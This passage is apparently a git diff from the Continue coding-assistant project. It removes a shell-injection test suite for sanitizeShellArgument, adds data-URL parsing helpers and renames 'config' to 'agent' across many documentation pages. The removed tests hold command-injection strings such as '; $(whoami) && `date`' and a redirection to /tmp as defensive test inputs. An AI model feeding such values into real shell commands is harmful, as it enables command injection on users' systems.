agent"); - // Verify it's one line (not executed as multiple commands) - expect(result.split("\n").length).toBe(1); - }); - - it("should handle multi-line injection attempts", () => { - const malicious = "line1\necho INJECTED\nline3"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should preserve the structure but not execute embedded commands - expect(result).toContain("line1"); - expect(result).toContain("line3"); - // The literal "echo INJECTED" text should appear, but not executed - expect(result).toContain("echo INJECTED"); - }); - - it("should handle shell redirection attempts", () => { - const malicious = "message > /tmp/test.txt"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output the literal string, not create a file - expect(result).toBe(malicious); - // The command should not have created the file - // (we're not checking file system to keep test isolated) - }); - - it("should handle complex injection with multiple attack vectors", () => { - const malicious = "; $(whoami) && `date` || $HOME | cat > /dev/null"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output the entire literal string - expect(result).toBe(malicious); - // Verify none of the commands were executed by checking output is literal - expect(result).toContain("$(whoami)"); - expect(result).toContain("`date`"); - expect(result).toContain("$HOME"); - }); - - it("should handle special characters safely", () => { - const special = 'test with spaces, quotes\', and "more"'; - const sanitized = sanitizeShellArgument(special); - - const result = safeExec(`echo ${sanitized}`); - - expect(result).toBe(special); - }); - - it("should handle empty string without errors", () => { - const sanitized = sanitizeShellArgument(""); - - // Should not throw when used in a command - expect(() => safeExec(`echo ${sanitized}`)).not.toThrow(); - }); - - it("should verify shell-quote properly escapes for git log format strings", () => { - // Another common use case: git log with custom format strings - const userInput = "Author: $(whoami) Date: `date`"; - const sanitized = sanitizeShellArgument(userInput); - - // Simulate: git log --format="%s: ${sanitized}" - // Using printf as a safer test substitute - const result = safeExec(`printf '%s' ${sanitized}`); - - // Should output the literal string, not execute substitutions - expect(result).toBe(userInput); - expect(result).toContain("$(whoami)"); - expect(result).toContain("`date`"); - }); -}); diff --git a/core/util/url.ts b/core/util/url.ts index 83e0edcba14..2c83e8f5999 100644 --- a/core/util/url.ts +++ b/core/util/url.ts @@ -9,3 +9,42 @@ export function canParseUrl(url: string): boolean { return false; } } + +export function parseDataUrl(dataUrl: string): { + mimeType: string; + base64Data: string; +} { + const urlParts = dataUrl.split(","); + + if (urlParts.length < 2) { + throw new Error( + "Invalid data URL format: expected 'data:type;base64,data' format", + ); + } + + const [mimeType, ...base64Parts] = urlParts; + const base64Data = base64Parts.join(","); + + return { mimeType, base64Data }; +} + +export function extractBase64FromDataUrl(dataUrl: string): string { + return parseDataUrl(dataUrl).base64Data; +} + +export function safeSplit( + input: string, + delimiter: string, + expectedParts: number, + errorContext: string = "input", +): string[] { + const parts = input.split(delimiter); + + if (parts.length !== expectedParts) { + throw new Error( + `Invalid ${errorContext} format: expected ${expectedParts} parts separated by "${delimiter}", got ${parts.length}`, + ); + } + + return parts; +} diff --git a/docs/CONTRIBUTING.mdx b/docs/CONTRIBUTING.mdx index 6a01562e217..33cd1ac1713 100644 --- a/docs/CONTRIBUTING.mdx +++ b/docs/CONTRIBUTING.mdx @@ -95,7 +95,7 @@ The easiest way to get started is using our pre-configured documentation agent: Visit [the Docs Assistant - Mintlify in the Hub](https://hub.continue.dev/continuedev/docs-mintlify) and click "Install" to add it to your Continue setup. This agent comes pre-configured with all our documentation standards. - Learn more about Continue Configs in our [config documentation](/guides/understanding-configs). + Learn more about Continue Agents in our [agent documentation](/guides/understanding-agents). @@ -126,7 +126,7 @@ The easiest way to get started is using our pre-configured documentation agent: - You can also remix this config to customize it for your specific needs. Learn how to create your own remix in our [remix config documentation](/hub/configs/create-a-config#how-to-remix-a-config). +You can also remix this agent to customize it for your specific needs. Learn how to create your own remix in our [remix agent documentation](/hub/agents/create-an-agent#how-to-remix-an-agent). ### Option 2: Create Your Own Custom Agent @@ -134,8 +134,8 @@ The easiest way to get started is using our pre-configured documentation agent: If you want more control or customization, you can create your own documentation agent: - - Follow our [config creation guide](/hub/configs/create-a-config) to set up your own config. + + Follow our [agent creation guide](/hub/agents/create-an-agent) to set up your own agent. @@ -298,35 +298,6 @@ const example = "Hello, Continue!"; -### Linking Your PR to Issues - - - -**Important**: When your PR addresses a specific issue, make sure to link it using GitHub keywords. - - - -To automatically link your PR to an issue and close it when the PR is merged, use one of these keywords in your PR description: - -- `closes #issue_number` -- `fixes #issue_number` -- `resolves #issue_number` - -**Example PR description:** -```markdown -Improved the installation guide with clearer steps for Windows users. - -Closes #1234 -``` - -This helps us track which issues are being worked on and automatically closes them when your PR is merged. - - - -Learn more about linking PRs to issues in the [GitHub documentation](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests). - - - ## 💡 Tips for Success - **Use the Continue agent**: It knows our documentation standards and will save you time diff --git a/docs/chat/how-to-use-it.mdx b/docs/chat/how-to-use-it.mdx index b663598798d..ac362192763 100644 --- a/docs/chat/how-to-use-it.mdx +++ b/docs/chat/how-to-use-it.mdx @@ -1,8 +1,8 @@ --- title: "Chat" -sidebarTitle: "How To Use Chat Mode" +sidebarTitle: "How To Use AI Chat" icon: "circle-question" -description: "Learn how to use Continue's Chat mode to solve coding problems without leaving your IDE, including code context sharing, applying generated solutions, and switching between models" +description: "Learn how to use Continue's AI chat agent to solve coding problems without leaving your IDE, including code context sharing, applying generated solutions, and switching between models" --- @@ -37,4 +37,4 @@ Once you complete a task and want to start a new one, press `cmd/ctrl` + `L` (VS ## Change AI Models in Continue Chat for Different Coding Needs -If you have configured multiple models, you can switch between models using the dropdown or by pressing `cmd/ctrl` + `’` \ No newline at end of file +If you have configured multiple models, you can switch between models using the dropdown or by pressing `cmd/ctrl` + `’` diff --git a/docs/cli/overview.mdx b/docs/cli/overview.mdx index 154c4638f42..a94bfdce5b3 100644 --- a/docs/cli/overview.mdx +++ b/docs/cli/overview.mdx @@ -80,12 +80,12 @@ cn -p "Update documentation based on recent code changes" ### Development Workflow: TUI → Headless - **Pro Tip**: Start in TUI mode to iterate on your AI agent. Once + **Pro Tip**: Start in TUI mode to iterate on your AI agent and prompts. Once you have a workflow that works reliably, deploy it as a Continuous AI automation. -1. **Experiment in TUI mode** to perfect your agent +1. **Experiment in TUI mode** to perfect your prompts and agent configuration 2. **Test different approaches** interactively until you get consistent results 3. **Convert successful workflows** to automated Continuous AI commands 4. **Deploy in production** with confidence in your proven approach diff --git a/docs/customization/models.mdx b/docs/customization/models.mdx index f42e88672f9..1060b386726 100644 --- a/docs/customization/models.mdx +++ b/docs/customization/models.mdx @@ -33,97 +33,97 @@ Read more about [model roles](/customize/model-roles), [model capabilities](/cus [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) from Anthropic 1. Get your API key from [Anthropic](https://console.anthropic.com/) -2. Add [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) to a config on Continue Hub +2. Add [Claude 4 Sonnet](https://hub.continue.dev/anthropic/claude-4-sonnet) to an agent on Continue Hub 3. Add `ANTHROPIC_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) from Qwen 1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys) -2. Add [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) a config on Continue Hub +2. Add [Qwen Coder 3 480B](https://hub.continue.dev/openrouter/qwen3-coder) to an agent on Continue Hub 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [GPT-5](https://hub.continue.dev/openai/gpt-5) from OpenAI 1. Get your API key from [OpenAI](https://platform.openai.com) -2. Add [GPT-5](https://hub.continue.dev/openai/gpt-5) a config on Continue Hub +2. Add [GPT-5](https://hub.continue.dev/openai/gpt-5) to an agent on Continue Hub 3. Add `OPENAI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) from Moonshot AI 1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys) -2. Add [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) a config on Continue Hub +2. Add [Kimi K2](https://hub.continue.dev/openrouter/kimi-k2) to an agent on Continue Hub 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) from Google 1. Get your API key from [Google AI Studio](https://aistudio.google.com) -2. Add [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) a config on Continue Hub +2. Add [Gemini 2.5 Pro](https://hub.continue.dev/google/gemini-2.5-pro) to an agent on Continue Hub 3. Add `GEMINI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) from xAI 1. Get your API key from [xAI](https://console.x.ai/) -2. Add [Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) a config on Continue Hub +2. Add [Grok Code Fast 1](https://hub.continue.dev/xai/grok-code-fast-1) to an agent on Continue Hub 3. Add `XAI_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) from Mistral AI 1. Get your API key from [Mistral AI](https://console.mistral.ai/) -2. Add [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) a config on Continue Hub +2. Add [Devstral Medium](https://hub.continue.dev/mistral/devstral-medium) to an agent on Continue Hub 3. Add `MISTRAL_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) from OpenAI 1. Get your API key from [OpenRouter](https://openrouter.ai/settings/keys) -2. Add [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) a config on Continue Hub +2. Add [gpt-oss-120b](https://hub.continue.dev/openrouter/gpt-oss-120b) to an agent on Continue Hub 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/hub/secrets/secret-types#user-secrets) on Continue Hub [here](https://hub.continue.dev/settings/secrets) -4. Click `Reload config` in the config selector in the Continue IDE extension +4. Click `Reload config` in the agent selector in the Continue IDE extension ### Local Models These models can be run on your computer if you have enough VRAM. -Their limited tool calling and reasoning capabilities will make it challenging to use agent mode. +Their limited tool calling and reasoning capabilities will make it challenging to use Agent mode. [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) -1. Add [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) a config on Continue Hub +1. Add [Qwen3 Coder 30B](https://hub.continue.dev/ollama/qwen3-coder-30b) to an agent on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the config selector in the Continue IDE extension +3. Click `Reload config` in the agent selector in the Continue IDE extension [gpt-oss-20b](https://hub.continue.dev/ollama/gpt-oss-20b) -1. Add [gpt-oss-20b](ttps://hub.continue.dev/ollama/gpt-oss-20b) a config on Continue Hub +1. Add [gpt-oss-20b](ttps://hub.continue.dev/ollama/gpt-oss-20b) to an agent on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the config selector in the Continue IDE extension +3. Click `Reload config` in the agent selector in the Continue IDE extension [Devstral Small 27B](https://hub.continue.dev/ollama/devstral) -1. Add [Devstral Small](https://hub.continue.dev/ollama/devstral) a config on Continue Hub +1. Add [Devstral Small](https://hub.continue.dev/ollama/devstral) to an agent on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the config selector in the Continue IDE extension +3. Click `Reload config` in the agent selector in the Continue IDE extension [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) from Qwen -1. Add [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) a config on Continue Hub +1. Add [Qwen2.5-Coder 7B](https://hub.continue.dev/ollama/qwen2.5-coder-7b) to an agent on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the config selector in the Continue IDE extension +3. Click `Reload config` in the agent selector in the Continue IDE extension [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) from Google -1. Add [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) a config on Continue Hub +1. Add [Gemma 3 4B](https://hub.continue.dev/ollama/gemma3-4b) to an agent on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the config selector in the Continue IDE extension +3. Click `Reload config` in the agent selector in the Continue IDE extension [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) from Qwen -1. Add [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) a config on Continue Hub +1. Add [Qwen2.5-Coder 1.5B](https://hub.continue.dev/ollama/qwen2.5-coder-1.5b) to an agent on Continue Hub 2. Run the model with [Ollama](https://docs.continue.dev/guides/ollama-guide#using-ollama-with-continue-a-developers-guide) -3. Click `Reload config` in the config selector in the Continue IDE extension +3. Click `Reload config` in the agent selector in the Continue IDE extension diff --git a/docs/customization/overview.mdx b/docs/customization/overview.mdx index f920ddc431d..e0f87171dc1 100644 --- a/docs/customization/overview.mdx +++ b/docs/customization/overview.mdx @@ -1,6 +1,6 @@ --- title: "Customization Overview" -description: "Learn how to customize Continue with model providers, slash commands, and tools" +description: "Learn how to customize Continue with model providers, context providers, slash commands, and tools to create your perfect AI coding agent" --- Continue can be deeply customized to fit your specific development workflow and preferences. This guide covers the main ways you can customize Continue to enhance your coding experience. @@ -11,25 +11,25 @@ Continue allows you to choose your favorite or even add multiple model providers ## Select Different Models for Specific Tasks -Different Continue features can use different models. We call these _model roles_. For example, you can use a different model for Chat mode than you do for Autocomplete. Learn more about [model roles](/customize/model-roles). +Different Continue features can use different models. We call these _model roles_. For example, you can use a different model for chat than you do for autocomplete. Learn more about [model roles](/customize/model-roles). ## Create a Slash Command -Slash commands allow you to easily add custom prompts to Continue. Learn more about [slash commands](/customize/deep-dives/prompts). +Slash commands allow you to easily add custom functionality to Continue. You can use a slash command that allows you to generate a shell command from natural language, or perhaps generate a commit message, or create your own custom command to do whatever you want. Learn more about [slash commands](/customize/deep-dives/prompts). ## Call External Tools and Functions -Unchain your LLM with the power of tools using [Agent mode](/ide-extensions/agent/quick-start). Add custom tools using [MCP Servers](/customization/mcp-tools) +Unchain your LLM with the power of tools using [Agent](/ide-extensions/agent/quick-start). Add custom tools using [MCP Servers](/customization/mcp-tools) -Whatever you choose, you'll probably start by editing your configuration. +Whatever you choose, you'll probably start by editing your Agent. -## Edit Your Configuration +## Edit Your Agent -You can easily access your configuration from the Continue Chat sidebar. Open the sidebar by pressing `cmd/ctrl` + `L` (VS Code) or `cmd/ctrl` + `J` (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. +You can easily access your agent configuration from the Continue Chat sidebar. Open the sidebar by pressing `cmd/ctrl` + `L` (VS Code) or `cmd/ctrl` + `J` (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. -![configure](/images/customization/images/configure-continue-a5c8c79f3304c08353f3fc727aa5da7e.png) +![configure an agent](/images/customization/images/configure-continue-a5c8c79f3304c08353f3fc727aa5da7e.png) -## Manage Your Configuration +## Manage Your Agent -- See [Editing Hub Configurations](/hub/configs/edit-a-config) for more details on managing your hub configuration -- See the [Config Deep Dive](/reference) for more details on local configurations \ No newline at end of file +- See [Editing Hub Agents](/hub/agents/edit-an-agent) for more details on managing your hub agent +- See the [Config Deep Dive](/reference) for more details on configuring local agents. diff --git a/docs/customization/settings.mdx b/docs/customization/settings.mdx index 756195a6461..4ff298c342d 100644 --- a/docs/customization/settings.mdx +++ b/docs/customization/settings.mdx @@ -63,7 +63,7 @@ The new settings experience introduces a **card-based layout** that reduces visu /> - Autocomplete models need to be added to your config to enable selecting an autocomplete model. If none is available, you will be linked to the docs showing recommended models. See our [model recommendations](/customize/model-roles/autocomplete) for the best autocomplete models. + Autocomplete models need to be added to your agent to enable selecting an autocomplete model. If none is available, you will be linked to the docs showing recommended models. See our [model recommendations](/customize/model-roles/autocomplete) for the best autocomplete models. - To better understand how to set up configs and models, see our [Understanding Configs guide](/guides/understanding-configs). + To better understand how to set up agents and models, see our [Understanding Agents guide](/guides/understanding-agents). diff --git a/docs/customize/custom-providers.mdx b/docs/customize/custom-providers.mdx index 702e8f9af8d..b665594871a 100644 --- a/docs/customize/custom-providers.mdx +++ b/docs/customize/custom-providers.mdx @@ -9,7 +9,7 @@ As an example, say you are working on solving a new GitHub Issue. You type '@Iss ## How Do Context Blocks Work? -Explore available context blocks in [the hub](https://hub.continue.dev/explore/context). +You can add context providers to assistants using [`context` blocks](/hub/blocks/block-types#context). Explore available context blocks in [the hub](https://hub.continue.dev/explore/context). ## Built-in Context Providers diff --git a/docs/customize/deep-dives/configuration.mdx b/docs/customize/deep-dives/configuration.mdx index 694b7543013..ba7f35123ad 100644 --- a/docs/customize/deep-dives/configuration.mdx +++ b/docs/customize/deep-dives/configuration.mdx @@ -1,26 +1,26 @@ --- -title: "How to Configure Continue" -description: Learn how to access and manage Continue configurations through Hub or local YAML files +title: "How to Configure Continue Agents" +description: Learn how to access and manage Continue agent configurations through Hub or local YAML files keywords: [config, settings, customize] -sidebarTitle: "Configuration" +sidebarTitle: "Agent Configuration" --- -You can easily access your configuration from the Continue Chat sidebar. Open the sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. +You can easily access your agent configuration from the Continue Chat sidebar. Open the sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. -![configure](/images/configure-continue.png) +![configure an agent](/images/configure-continue.png) -## How to Manage Hub Configs +## How to Manage Hub Agents - Hub Configs can be managed in [the Hub](https://hub.continue.dev). See [Editing a config](/hub/configs/edit-a-config) +Hub Agents can be managed in [the Hub](https://hub.continue.dev). See [Editing an Agent](../../hub/agents/edit-an-agent.md) -## How to Configure Local Configs with YAML +## How to Configure Local Agents with YAML Local user-level configuration is stored and can be edited in your home directory in `config.yaml`: - `~/.continue/config.yaml` (MacOS / Linux) - `%USERPROFILE%\.continue\config.yaml` (Windows) -To open this `config.yaml`, you need to open the configs dropdown in the top-right portion of the chat input. On that dropdown beside the "Local Config" option, select the cog icon. It will open the local `config.yaml`. +To open this `config.yaml`, you need to open the agents dropdown in the top-right portion of the chat input. On that dropdown beside the "Local Agent" option, select the cog icon. It will open the local `config.yaml`. ![local-config-open-steps](/images/local-config-open-steps.png) diff --git a/docs/customize/deep-dives/mcp.mdx b/docs/customize/deep-dives/mcp.mdx index b804ca4c107..6ad5414bc30 100644 --- a/docs/customize/deep-dives/mcp.mdx +++ b/docs/customize/deep-dives/mcp.mdx @@ -19,15 +19,15 @@ that can be set up with custom tools. Currently custom tools can be configured using the Model Context Protocol standard to unify prompts, context, and tool use. -MCP Servers can be added to hub configs using `mcpServers`. You can -explore available MCP servers +MCP Servers can be added to hub Agents using `mcpServers` blocks. You can +explore available MCP server blocks [here](https://hub.continue.dev/explore/mcp). MCP can only be used in the **agent** mode. ## Quick Start: How to Set Up Your First MCP Server -Below is a quick example of setting up a new MCP server for use in your config: +Below is a quick example of setting up a new MCP server for use in your agent: 1. Create a folder called `.continue/mcpServers` at the top level of your workspace 2. Add a file called `playwright-mcp.yaml` to this folder @@ -56,7 +56,7 @@ The result will be a generated file called `hn.txt` in the current working direc ## How to Set Up Continue Documentation Search with MCP -You can set up an MCP server to search the Continue documentation directly from your config. This is particularly useful for getting help with Continue configuration and features. +You can set up an MCP server to search the Continue documentation directly from your agent. This is particularly useful for getting help with Continue configuration and features. For complete setup instructions, troubleshooting, and usage examples, see the [Continue MCP Reference](/reference/continue-mcp). @@ -72,7 +72,8 @@ For example, place your JSON MCP config file at `.continue/mcpServers/mcp.json` To set up your own MCP server, read the [MCP quickstart](https://modelcontextprotocol.io/quickstart) and then [create an -`mcpServers`](https://hub.continue.dev/new?type=block&blockType=mcpServers) or add a local MCP +`mcpServers` +block](https://hub.continue.dev/new?type=block&blockType=mcpServers) or add a local MCP server block to your [config file](./configuration.md): ```yaml title="config.yaml" @@ -93,7 +94,7 @@ When creating a standalone block file in `.continue/mcpServers/`, remember to in ### How to Configure MCP Server Properties -MCP components include a few additional properties specific to MCP servers. +MCP blocks follow the established syntax for blocks, with a few additional properties specific to MCP servers. - `name`: A display name for the MCP server. - `type`: The type of the MCP server: `sse`, `stdio`, `streamable-http` diff --git a/docs/customize/deep-dives/prompts.mdx b/docs/customize/deep-dives/prompts.mdx index 204f5bab157..53579b77893 100644 --- a/docs/customize/deep-dives/prompts.mdx +++ b/docs/customize/deep-dives/prompts.mdx @@ -1,6 +1,6 @@ --- title: "How to Create and Manage Prompts in Continue" -description: "Prompts are used to kick off tasks for Agent mode, Plan mode, and Chat mode" +description: "Prompts are used to kick off tasks for Agent, Plan, and Chat requests" keywords: [prompts, context, slash command] sidebarTitle: "Prompts" --- @@ -59,7 +59,7 @@ You're a Supabase Postgres expert in writing database functions. Generate **high You can read the rest of the `Create Supabase functions` prompt [here](http://hub.continue.dev/supabase/create-functions) -If you are using a local `config.yaml`, you can add it to your config like this: +If you are using a local `config.yaml`, you can add it to your agent like this: ```md title="config.yaml" ... @@ -70,7 +70,7 @@ prompts: ... ``` -If you are using Continue Hub, you can add it to your config by selecting "Use Rule" [here](https://hub.continue.dev/supabase/create-functions) +If you are using Continue Hub, you can add it to your agent by selecting "Use Rule" [here](https://hub.continue.dev/supabase/create-functions) To use this prompt, you can open Chat / Agent / Edit, type /, select the prompt, and type out any additional instructions you'd like to add. diff --git a/docs/customize/deep-dives/rules.mdx b/docs/customize/deep-dives/rules.mdx index c0fc7fbead7..8a4a26cfb03 100644 --- a/docs/customize/deep-dives/rules.mdx +++ b/docs/customize/deep-dives/rules.mdx @@ -1,11 +1,11 @@ --- title: "How to Create and Manage Rules in Continue" -description: "Rules are used to provide system message instructions to the model for Agent mode, Chat mode, and Edit mode requests" +description: "Rules are used to provide system message instructions to the model for Agent, Chat, and Edit requests" keywords: [rules, system, prompt, message] sidebarTitle: "Rules" --- -Rules provide instructions to the model for [Agent mode](../../ide-extensions/agent/quick-start), [Chat](../../ide-extensions/chat/quick-start), and [Edit](../../ide-extensions/edit/quick-start) requests. +Rules provide instructions to the model for [Agent](../../ide-extensions/agent/quick-start), [Chat](../../ide-extensions/chat/quick-start), and [Edit](../../ide-extensions/edit/quick-start) requests. Rules are not included in [autocomplete](./autocomplete) or @@ -76,16 +76,16 @@ Now test your rules by asking a question about a file in chat. ![pirate rule test](/images/pirate-rule-test.png) -## How to Create Rules +## How to Create Rules Blocks ### Creating Local Rules -Rules can be added locally using the "Add Rules" button. +Rules can be added locally using the "Add Rules" button while viewing the Local Agent's rules. ![add local rules button](/images/add-local-rules.png) -**Automatically create local rules**: When in Agent mode, you can prompt the agent to create a rule for you using the `create_rule_block` tool if enabled. +**Automatically create local rule blocks**: When in Agent mode, you can prompt the agent to create a rule for you using the `create_rule_block` tool if enabled. For example, you can say "Create a rule for this", and a rule will be created for you in `.continue/rules` based on your conversation. @@ -135,7 +135,7 @@ To move local rules to the Hub: recommend Markdown. -Rules can be simple text, written in YAML configuration files, or as Markdown (`.md`) files. They can have the following properties: +Rules blocks can be simple text, written in YAML configuration files, or as Markdown (`.md`) files. They can have the following properties: - `name` (**required** for YAML): A display name/title for the rule - `globs` (optional): When files are provided as context that match this glob pattern, the rule will be included. This can be either a single pattern (e.g., `"**/*.{ts,tsx}"`) or an array of patterns (e.g., `["src/**/*.ts", "tests/**/*.ts"]`). @@ -258,7 +258,7 @@ globs: ["**/*.ts", "**/*.tsx"] ### How to Customize Chat System Message -Continue includes a simple default system message for [Agent mode](../../ide-extensions/agent/quick-start) and [Chat](../../ide-extensions/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. +Continue includes a simple default system message for [Agent](../../ide-extensions/agent/quick-start) and [Chat](../../ide-extensions/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. This can be viewed in the rules section of the toolbar (see above), or in the source code [here](https://github.com/continuedev/continue/blob/main/core/llm/constructMessages.ts#L4). diff --git a/docs/customize/deep-dives/rules.mdx.backup b/docs/customize/deep-dives/rules.mdx.backup index e7e13b0100f..5338df40da8 100644 --- a/docs/customize/deep-dives/rules.mdx.backup +++ b/docs/customize/deep-dives/rules.mdx.backup @@ -1,10 +1,10 @@ --- title: "Rules" -description: Rules are used to provide instructions to the model for Agent mode, Chat mode, and Edit requests. +description: Rules are used to provide instructions to the model for Agent, Chat, and Edit requests. keywords: [rules, .continuerules, system, prompt, message] --- -Rules provide instructions to the model for [Agent mode](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests. +Rules provide instructions to the model for [Agent](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests. Rules are not included in [autocomplete](./autocomplete.mdx) or [apply](../model-roles/apply.mdx). @@ -39,7 +39,7 @@ Now test your rules by asking a question about a file in chat. ## Creating `rules` blocks -Rules can be added locally using the "Add Rules" button. +Rules can be added locally using the "Add Rules" button while viewing the Local Agent's rules. ![add local rules button](/images/add-local-rules.png) @@ -49,7 +49,7 @@ Automatically create local rule blocks: When in Agent mode, you can prompt the a For example, you can say "Create a rule for this", and a rule will be created for you in `.continue/rules` based on your conversation. -Rules can also be added to a configuration on the Continue Hub. +Rules can also be added to an Agent on the Continue Hub. Explore available rules [here](https://hub.continue.dev), or [create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub. @@ -166,7 +166,7 @@ Whenever you are writing React code, make sure to ### Chat System Message -Continue includes a simple default system message for [Agent mode](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. +Continue includes a simple default system message for [Agent](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. This can be viewed in the rules section of the toolbar (see above), or in the source code [here](https://github.com/continuedev/continue/blob/main/core/llm/constructMessages.ts#L4). diff --git a/docs/customize/model-providers/top-level/openrouter.mdx b/docs/customize/model-providers/top-level/openrouter.mdx index de4aee89627..8f9727d8922 100644 --- a/docs/customize/model-providers/top-level/openrouter.mdx +++ b/docs/customize/model-providers/top-level/openrouter.mdx @@ -4,7 +4,7 @@ sidebarTitle: "OpenRouter" --- - **Discover OpenRouter models [here](https://hub.continue.dev/openrouter)** + **Discover Inception models [here](https://hub.continue.dev/inceptionlabs)** diff --git a/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx b/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx index 6d307d377bb..a074eef7d4b 100644 --- a/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx +++ b/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx @@ -168,6 +168,9 @@ context: - uses: continuedev/terminal-context - uses: continuedev/file-context ``` + +To customize, see the [model block creation guide](/hub/blocks/create-a-block). + diff --git a/docs/customize/model-roles/00-intro.mdx b/docs/customize/model-roles/00-intro.mdx index 8dcf85c0484..941ea0f4d57 100644 --- a/docs/customize/model-roles/00-intro.mdx +++ b/docs/customize/model-roles/00-intro.mdx @@ -23,7 +23,7 @@ These roles can be specified for a `config.yaml` model block using `roles`. See ## Selecting model roles -You can control which of the models in your config for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. +You can control which of the models in your agent for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. ![Settings Active Models Section](/images/settings-model-roles.png) diff --git a/docs/customize/model-roles/intro.mdx b/docs/customize/model-roles/intro.mdx index 6e9b2f87591..9fa344afeb0 100644 --- a/docs/customize/model-roles/intro.mdx +++ 